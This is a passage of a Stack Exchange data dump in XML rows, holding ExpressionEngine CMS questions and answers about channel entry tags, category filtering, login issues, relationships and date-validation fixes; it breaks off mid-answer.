  <row Id="31138" PostTypeId="1" CreationDate="2015-04-21T22:57:34.890" Score="0" ViewCount="1565" Body="&lt;p&gt;Articles on my site are structured as /[category_url_title]/article/[article_url_title]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to have at the bottom of my articles a section that says &quot;related articles&quot;, and then list a few more articles from the same category. I have the same template for all articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;100&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; url_title=&quot;not {segment_3}&quot;}&#xA;{title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need the category parameter to be set dynamically from {segment_1} which is the category's url title. However, the channel:entries tag will &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;only accept category id&lt;/a&gt;, not category url title as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;a href=&quot;https://devot-ee.com/add-ons/cat2&quot; rel=&quot;nofollow&quot;&gt;cat2&lt;/a&gt; installed, but this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;{exp:cat2:id category_url_title='{segment_1}'}&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; url_title=&quot;not {segment_3}&quot;}&#xA;{title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried saving the value of the cat2 tag output as a php variable, but that doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume my above efforts don't work because of mixed parse order of EE. So how can I make this work?&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2015-04-22T02:07:47.557" Title="Filter channel entries tag by category url title" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31139" PostTypeId="1" CreationDate="2015-04-21T23:08:50.197" Score="0" ViewCount="166" Body="&lt;p&gt;So I have a site on production, but I wanted to be able to work on it locally too, like when I have no web access.  I know it's the backward way of doing things, and not sure how it's ended up like this.  Anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed EE locally, then imported my production database, now when I login it just refreshes.  I keep asking for a new password, but it still refreshes and doesn't login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2016-05-30T21:42:21.807" Title="Login refreshes" Tags="|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31140" PostTypeId="1" CreationDate="2015-04-21T23:18:35.927" Score="0" ViewCount="42" Body="&lt;p&gt;Trying to just output entries that share the same tag but it's outputting duplicate entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{news_channel}&quot; url_title=&quot;{segment_2}&quot;}&#xA;    {exp:tagger:related entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;        {if tagger:no_entries}&#xA;            &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No related entries were found.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;            &amp;lt;h2&amp;gt;{news-heading}&amp;lt;/h2&amp;gt;&#xA;            {news-content}&#xA;&#xA;    {/exp:tagger:related}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to stop this?&lt;/p&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-04-24T20:55:48.713" LastActivityDate="2016-05-29T23:39:51.820" Title="Tagger outputting duplicate entries" Tags="|devdemon-tagger|tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31141" PostTypeId="1" CreationDate="2015-04-21T23:28:47.107" Score="-1" ViewCount="76" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;nxtsports&quot; channel=&quot;blog&quot; dynamic=&quot;no&quot; limit=&quot;5&quot; status=&quot;open|Preview&quot; {global:disable_basic} orderby=&quot;view_count_one&quot; {!--display_by=&quot;week&quot; start_day=&quot;Monday&quot;--}}&#xA;                {snp_global_blog_article_listed}&#xA;                This has been seen {view_count_one} times!                  &#xA;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to use the display_by parameters I commented out to display the top 5 entries with the most views from the past 2 weeks?&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2015-04-22T12:15:37.373" Title="How can I display entries from the past 2 weeks, and have it refresh every two weeks?" Tags="|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31143" PostTypeId="2" ParentId="31141" CreationDate="2015-04-22T01:16:45.527" Score="2" Body="&lt;p&gt;There's a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;sample of this code on user guide&lt;/a&gt;. You need to use the &lt;code&gt;start-on&lt;/code&gt; parameter and to enable PHP to run at input on the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $start_time = ee()-&amp;gt;localize-&amp;gt;format_date('%Y-%m-%d %H:%i', ee()-&amp;gt;localize-&amp;gt;now - (60*60*24*14));&#xA;?&amp;gt;&#xA;&#xA;{exp:channel:entries start_on=&quot;&amp;lt;?php echo $start_time; ?&amp;gt;&quot; site=&quot;nxtsports&quot; channel=&quot;blog&quot; dynamic=&quot;no&quot; limit=&quot;5&quot; status=&quot;open|Preview&quot; {global:disable_basic} orderby=&quot;view_count_one&quot;}&#xA;    {snp_global_blog_article_listed}&#xA;    This has been seen {view_count_one} times!                  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-04-22T12:15:37.373" LastActivityDate="2015-04-22T12:15:37.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31144" PostTypeId="2" ParentId="31138" CreationDate="2015-04-22T02:07:47.557" Score="1" Body="&lt;p&gt;If you want to parse a plugin as a parameter, you need to set the parameter &lt;code&gt;parse&lt;/code&gt; as &lt;code&gt;inward&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries parse=&quot;inward&quot; category=&quot;{exp:cat2:id category_url_title='{segment_1}'}&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; url_title=&quot;not {segment_3}&quot;}&#xA;  {title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since different categories on different groups can share the same name, is a good idea to specify the &lt;code&gt;category_group&lt;/code&gt; parameter on the &lt;a href=&quot;https://github.com/croxton/cat2&quot; rel=&quot;nofollow&quot;&gt;cat2&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing. The values of the parameter &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic&lt;/code&gt;&lt;/a&gt; should be &lt;code&gt;yes&lt;/code&gt; or &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-22T02:07:47.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31145" PostTypeId="2" ParentId="31139" CreationDate="2015-04-22T06:50:23.353" Score="0" Body="&lt;p&gt;To troubleshoot, first try setting your control panel sessions to be cookie based only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to /system/expresionengine/config/config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_type'] = 'c';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try disabling extensions via your config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that allows you to login, it's likely an add-on that's redirecting to a URI that's either invalid or redirected (thereby rejecting your POST data). You can confirm/observe this by viewing your &quot;Network&quot; log in your Developer Tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, the easiest solution is to just disable redirects on control panel login. You can either delete the cp_member_login hooks from the exp_extensions database table or try updating Structure (or the suspected add-on) to not redirect on login. Note that it's possible that you have more than one app trying to redirect (e.g. Republic Analytics, Structure, etc)&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-22T06:50:23.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31146" PostTypeId="2" ParentId="31106" CreationDate="2015-04-22T07:00:13.983" Score="1" Body="&lt;p&gt;Sometimes when EE does this, I enable PHP error reporting at the top of my index.php file and set $debug = 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_startup_errors',1);&#xA;ini_set('display_errors',1);&#xA;error_reporting(-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you continue to get Internal Server Errors, try disabling your htaccess file (if using Apache).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of that helped, I strongly suggest you refer to your Apache or nginx error logs (if you're using either one of those). Report your findings and we'll be happy to help&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-22T07:00:13.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31147" PostTypeId="2" ParentId="31119" CreationDate="2015-04-22T08:22:00.300" Score="0" Body="&lt;p&gt;This is a known issue in Importer. Cells with empty data get filled with other data similar to an &quot;inverted Tetris game&quot;. The workaround is indeed to have empty cells contain anything but an empty string (can be &lt;code&gt;-&lt;/code&gt; or &lt;code&gt;no_image&lt;/code&gt; or anything that is not &quot;nothing&quot;). In the meantime, we have noted the bug.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-04-22T08:22:00.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31149" PostTypeId="1" AcceptedAnswerId="31150" CreationDate="2015-04-22T13:50:01.897" Score="2" ViewCount="210" Body="&lt;p&gt;Basically, what i'm attempting to do is create a [button] right next to the entry save/submit button that will grab the current entries entry_id and pass it to a page we control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm staring at the channel_entry api, but that's not really what i need at the moment. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&lt;/a&gt;  am i looking at the wrong api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google search for &quot;add button to entry edit page in expression engine&quot; doesn't really give me any valuable results either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know where i should start? or what files i should make changes to?&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2015-04-22T14:18:25.673" Title="How to create a button on the Entry Edit page?" Tags="|channel-entries|channel-entries-api|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31150" PostTypeId="2" ParentId="31149" CreationDate="2015-04-22T14:18:25.673" Score="2" Body="&lt;p&gt;There is no API for adding anything other than fieldtypes or tabs to the entry screen. I'd suggest one of two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&quot; rel=&quot;nofollow&quot;&gt;fieldtype&lt;/a&gt; which displays your button and adds the javascript you need, then place a field which uses this fieldtype as the last field on the screen.&lt;/li&gt;&#xA;&lt;li&gt;Build an &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow&quot;&gt;accessory&lt;/a&gt; which simply injects some javascript into the edit entry screen in order to add your button and behaviours under the appropriate circumstances.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-22T14:18:25.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31151" PostTypeId="1" CreationDate="2015-04-22T17:37:05.737" Score="1" ViewCount="51" Body="&lt;p&gt;I have set up many sites in EE however I seem to have brain farted on how to use Zoo Visitor and how and where to begin? I have looked at the documentation and seem to be missing a step. Need a push in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept is I have 2 groups (employees and employers) &#xA;and need to set up each so that when they login they get access to that particular groups content. &lt;/p&gt;&#xA;" OwnerUserId="3427" LastActivityDate="2015-11-22T10:38:47.087" Title="Zoo Visitor How to set it up" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31152" PostTypeId="1" AcceptedAnswerId="31153" CreationDate="2015-04-22T18:15:48.797" Score="1" ViewCount="55" Body="&lt;p&gt;In Expresso Store, is it possible to connect orders placed by a guest to a member account with the same email address? The scenario is that a guest places an order, then later wants to create a member account on the site. It would be great to be able to then connect all their previous guest orders to that new member account.&lt;/p&gt;&#xA;" OwnerUserId="602" LastActivityDate="2015-04-22T18:19:08.943" Title="Expresso Store connect guest orders to member" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31153" PostTypeId="2" ParentId="31152" CreationDate="2015-04-22T18:19:08.943" Score="2" Body="&lt;p&gt;Hi directly in the built in system - however, the only thing that relates an order to a member is a single column representing member_id. You could write a small extension to simply iterate through all orders with member_id=0 and query the members table to update them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't take more than an hours work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to flesh this out a little - you should be able to do it with a query pretty close to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update exp_store_orders o set o.member_id = (select member_id from exp_members where email = o.order_email) where o.member_id = 0;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's untested SQL BTW, but should give you a headstart.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2015-04-22T18:19:08.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31154" PostTypeId="2" ParentId="1369" CreationDate="2015-04-22T20:13:36.637" Score="0" Body="&lt;p&gt;I know it may be way too late to answer your question, but in case any body else sees this thread, you can use &lt;a href=&quot;http://engaging.net/products/phpstringfun&quot; rel=&quot;nofollow&quot; title=&quot;PHPStringFun&quot;&gt;PHP String Fun&lt;/a&gt;. This plugin allows you to use practically any PHP string functions. I used the &lt;em&gt;str_replace&lt;/em&gt; function with the parameter &lt;em&gt;reverse=&quot;y&quot;&lt;/em&gt;. You can do, for example, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun reverse=&quot;y&quot; function=&quot;str_replace&quot; par1='\&quot;' par2='&quot;'}&#xA;    {text_to_replace}&#xA;{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; : you can use &lt;a href=&quot;http://engaging.net/products/phpstringfun&quot; rel=&quot;nofollow&quot; title=&quot;PHPStringFun&quot;&gt;PHP String Fun&lt;/a&gt; of course, or &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/native_methods#htmlspecialchars&quot; rel=&quot;nofollow&quot;&gt;Ce_string&lt;/a&gt; or even roll your own... or you could just add some PHP snippet to the template and do it yourself (set the PHP on output). in this case though the most sensible PHP function for the specific challange in the OP is &lt;a href=&quot;http://php.net/addslashes&quot; rel=&quot;nofollow&quot;&gt;addslashes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5052" LastEditorUserId="1100" LastEditDate="2015-04-24T17:35:03.927" LastActivityDate="2015-04-24T17:35:03.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31156" PostTypeId="1" CreationDate="2015-04-22T21:14:11.867" Score="0" ViewCount="42" Body="&lt;p&gt;First of all, thank you ahead of time to all who answer. My env. is EE 1.6.9, PHP 5.4.39, on Linux and hosted on a 1and1 shared server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We recently moved servers and have gotten all of the website working except one section. The problem resides in the recipes section (&lt;a href=&quot;http://vitalitymagazine.com/recipes/&quot; rel=&quot;nofollow&quot;&gt;http://vitalitymagazine.com/recipes/&lt;/a&gt;) of the website. The problem is in the individual recipes, when viewing the recipe the EE tags ({recipe}{/recipe}, etc.) don't render the corresponding code.  See a screen capture here:&#xA;&lt;a href=&quot;http://snag.gy/0TD7g.jpg&quot; rel=&quot;nofollow&quot;&gt;http://snag.gy/0TD7g.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the FieldFrame 1.4.3 path settings and they are accurate. Furthermore I would think if they were incorrect other sections would have the same issue, but it's just this section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone faced a similar issue and solved it?&lt;/p&gt;&#xA;" OwnerUserId="6221" LastEditorUserId="1100" LastEditDate="2015-04-23T16:23:09.130" LastActivityDate="2016-03-16T09:53:25.263" Title="EE1.6.9 - tags don't render into html" Tags="|ee1|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31159" PostTypeId="1" CreationDate="2015-04-22T22:03:10.383" Score="0" ViewCount="140" Body="&lt;p&gt;I have a multi-site with two different channels:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Guides &lt;/li&gt;&#xA;&lt;li&gt;Rivers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need to associate specific guides with each river. Each river can have multiple guides associated with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have it setup so the Rivers have a relationship field that allows selecting of entries from guides channel. That's working perfectly, but I'm running into an issue trying to list all of the Rivers a Guide is associated with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I have the river Salmon with a relationship of Guide A, Guide B and Guide C. On the Salmon River's page, it displays Guide A, Guide B and Guide C. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on Guide A, I want that page to display all of the Rivers that have Guide A selected in the River's relationship field, i.e. Salmon River, Main Payette, etc.&lt;/p&gt;&#xA;" OwnerUserId="6199" LastEditorUserId="1100" LastEditDate="2015-04-24T14:16:04.517" LastActivityDate="2015-04-24T14:16:04.517" Title="How do I get the reverse entries of a relationship field?" Tags="|relationships|multi-site-manager|" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-23T23:02:34.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="31160" PostTypeId="1" CreationDate="2015-04-23T07:57:00.997" Score="0" ViewCount="105" Body="&lt;p&gt;I'm new to ExpressionEngine. I just moved a ExpressionEngine website to another server, got everything to work except for the images uploaded with assets (file uploader manager)... I checked the HTML and the images doesn't actually gets put into the website. It's just empty. I've tried to make all permission to 777 but nothing works. I can see the images if I go to the direct URL but the images never gets insertet into the website... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has a idea? &lt;/p&gt;&#xA;" OwnerUserId="6244" LastActivityDate="2016-06-04T18:48:06.360" Title="Moved website to another server, now the File Uploader (assets plugin) doesn't work." Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31162" PostTypeId="2" ParentId="31160" CreationDate="2015-04-23T09:50:19.970" Score="0" Body="&lt;p&gt;Can you check your file upload prefences? Specifically the physical path setting for each upload location? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content -&amp;gt; Files -&amp;gt; File Upload Preferences&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Choose File Upload location and specificlly check :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Server Path to Upload Directory&#xA;* URL of Upload Directory   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A common relocation issue (fyi &lt;a href=&quot;https://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;Reelocate&lt;/a&gt; can save you lots of time here) so I appologise if you've checked this setting too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your OP it looks like your URL is righ, but is your physical path 100%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can you diable Assets and try uploading via the native file manager? This will identify if the problem is in native EE file manager or the assets plugin specifically.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-23T09:50:19.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31163" PostTypeId="2" ParentId="31159" CreationDate="2015-04-23T11:59:54.903" Score="0" Body="&lt;p&gt;You need to use a reverse relationship tag &lt;code&gt;{parents}&lt;/code&gt;, it's well documented (with a Pizza Shop example) here on the EE docs site : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#parent-entries-which-stores-have-which-pizza&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#parent-entries-which-stores-have-which-pizza&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- assuming here the guide being displayed is entry ID of 1 --}&#xA;{exp:channel:entries channel=&quot;guides&quot; entry_id=&quot;1&quot;}&#xA;&#xA;    &amp;lt;h2&amp;gt;Guide : {title}&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Rivers this guide applies to:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;&#xA;    {!-- Here, the field parameter needs to be the field id of the relationship field on the rivers channel --}&#xA;    {parents field=&quot;river_guides&quot;}&#xA;        &amp;lt;li&amp;gt;{parents:title}&amp;lt;/li&amp;gt;&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yes this is a duplicate. Let us know how you get on though please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you don't actually mention if your relationship fields are in a grid or matrix, are they? If so this answer might be of use to you : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18888/parent-relationship-in-grid-field-type&quot;&gt;Parent relationship in grid field type&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-23T11:59:54.903" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31164" PostTypeId="2" ParentId="31030" CreationDate="2015-04-23T14:30:51.200" Score="2" Body="&lt;p&gt;Update: Wes Baker &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20929&quot; rel=&quot;nofollow&quot;&gt;posted&lt;/a&gt;, that there are &quot;official solutions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ..../system/expressionengine/libraries/Localize.php around line 283 remove the following block of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! empty($date_string) &amp;amp;&amp;amp;&#xA;    ! is_numeric($date_string) &amp;amp;&amp;amp;&#xA;    @strtotime($date_string) === FALSE)&#xA;{&#xA;    return FALSE;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open system/expressionengine/fieldtypes/date/ft.date.php and find this block of code around line 100 and remove it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match(’/\d{1,2}-\d{1,2}-\d{2}\b/’, $data))&#xA;{&#xA;    return lang(‘invalid_date_ambiguous’);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, open up system/expressionengine/libraries/Localize.php and find the _datetime() function around line 289 and add this to the top of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Checking for ambiguous dates but only when we don't have a date&#xA;// format.&#xA;if ( ! $date_format)&#xA;{&#xA;    if (preg_match('/\b\d{1,2}-\d{1,2}-\d{2}\b/', $date_string))&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;//&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two changes seems to fix it in cp, PHP 5.4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/expressionengine/fieldtypes/date/ft.date.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In function validate, delete lines 100–103:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match(’/\d{1,2}-\d{1,2}-\d{2}\b/’, $data))&#xA;{&#xA;return lang(‘invalid_date_ambiguous’);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/system/expressionengine/libraries/Localize.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In function _datetime, delete the “Fix for some versions of PHP 5.2 ...”, lines 283–290:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! empty($date_string) &amp;amp;&amp;amp;&#xA;! is_numeric($date_string) &amp;amp;&amp;amp;&#xA;@strtotime($date_string) === FALSE)&#xA;{&#xA;return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="6245" LastEditDate="2015-04-23T17:29:12.880" LastActivityDate="2015-04-23T17:29:12.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31166" PostTypeId="2" ParentId="18888" CreationDate="2015-04-23T17:16:53.393" Score="0" Body="&lt;p&gt;Bringing up a stale topic, you can totally achieve parent relationships within a grid field. You just need to use PHP to circumvent the Grid itself! The relationship data is 100% ok, it's just the parents tag doesn't resolve to the right place (a grid instead of an entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax is actually quite straight-forward so I've included an example here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we're going to do is get the parents ourselves with PHP, and utilize the EE parse order to process an embed that will display the parents info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this example I've deliberately kept things simple, I've made 2 channels (&lt;code&gt;parent_channel&lt;/code&gt; and &lt;code&gt;child_channel&lt;/code&gt;), the &lt;code&gt;parent_channel&lt;/code&gt; has a grid on it with a label(text) and child(relationship) column on it. I've populated my entries as so: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;  &lt;li&gt;  &#xA;  Even Children (parent_channel)&#xA;  &lt;ul&gt;&#xA;    &lt;li&gt;Child 2 (child_channel)&lt;/li&gt;&#xA;    &lt;li&gt;Child 4 (child_channel)&lt;/li&gt;&#xA;    &lt;li&gt;Child 6 (child_channel)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &lt;/li&gt;&#xA;  &lt;li&gt;  &#xA;  Odd Children (parent_channel)&#xA;  &lt;ul&gt;&#xA;    &lt;li&gt;Child 1 (child_channel)&lt;/li&gt;&#xA;    &lt;li&gt;Child 3 (child_channel)&lt;/li&gt;&#xA;    &lt;li&gt;Child 5 (child_channel)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So now, as we expect from the OP we are iterating some child entries, we have a pretty standard channel entries loop here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PHP is &lt;strong&gt;ON&lt;/strong&gt;, parsed on &lt;strong&gt;Output&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;child_channel&quot;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;strong&amp;gt;&amp;lt;em&amp;gt;Parents&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php&#xA;        $res = ee()-&amp;gt;db-&amp;gt;get_where('relationships', array('child_id' =&amp;gt; '{entry_id}'));&#xA;&#xA;        foreach($res-&amp;gt;result_array() as $parent){&#xA;            print '{embed=&quot;templates/.parent&quot; eid=&quot;'.$parent['parent_id'].'&quot;}';&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, please note the simple query that interrogates the relationship table. this gets out relevant parents. In this example each child only has one parent however if you note the foreach loop will take care of multiple parents. Also note how we print the embed tags with php, this way we can avoid any unforeseen 'PHP inside an embed tab, inside a channel entries tag on a template' hell, though it may not be 